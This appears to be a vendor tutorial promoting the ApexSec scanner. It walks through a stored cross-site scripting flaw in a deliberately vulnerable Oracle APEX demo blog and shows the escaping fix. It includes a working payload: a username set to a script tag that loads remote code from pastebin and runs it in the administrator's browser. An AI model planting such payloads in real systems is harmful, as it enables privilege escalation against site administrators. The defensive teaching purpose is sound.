Just another reminder to ensure that you have downloaded the free version of ApexSec through the ApexSec Online Portal. If you want to try out the exploits then you should import the Big Bad Blog into a workspace and run it.
Page 12 - Manage Users
Cross-Site Scripting - Report Display Type
When we sign into the Big Bad Blog with an administrator account we have the option to click on the 'Manage Users' tab. We are then shown a report page with a list of users. Administrators are shown in red and normal users blue.
However if we tell ApexSec to highlight the instance (by clicking on the down icon) it becomes apparent where the vulnerability is.
As we can see, the else clause in the case statement is at fault here, if the column isadmin is set to null the vulnerability will manifest itself. It just so happens that all new users that are created have the isadmin column in the database table set to null, this is a bug in the code but it serves us well here.
Note: This condition is made more serious in that an exploitable condition exists in a low security domain (normal user) that affects a higher domain (admin).
As the field sizes are quite small we will need to transfer our exploit code from another server, pastebin is excellent for this purpose. We will place our exploit payload there.
We then go to the 'Add User' page of the Big Bad Blog and add a username of <script src="http://pastebin.com/raw.php?i=nbj5a2mE"></script>. If you have created your own pastebin script then obviously use your own unique id.
A bug in the Big Bad Blog, results in the following message being displayed when the user is added.
The account has been created, and this error message can safely be ignored.
When the administrator visits the 'Manage Users' page the exploit will run. We can sign in with the credentials username: admin password: admin and visit the 'Manage Users' page.
Correcting the code
Simply escaping the username in the case statement by using htf.escape_sc ensures the vulnerability is corrected.
Note: Have you already corrected the code in the Big Bad Blog? Want to check your changes? Use our ApexSec Online Portal! Just re-export your fixed Big Bad Blog, upload it into the portal and use your free credits to access the report and ApexSec project file.
Getting the report columns correct can be quite tricky, just blindly setting the report column type to 'escape special characters' quickly breaks applications when double escaping occurs.
As can be seen from the example above under the right circumstances the effect of this can be devastating with privilege escalation being a common attack vector.
Only ApexSec can identify issues where the report column needs to be set to standard report column because of HTML constructs being passed from the underlying code.
If you want to discuss how to make your Oracle APEX applications secure, feel free to get in touch.
Follow us on twitter to be the first to hear about part 3.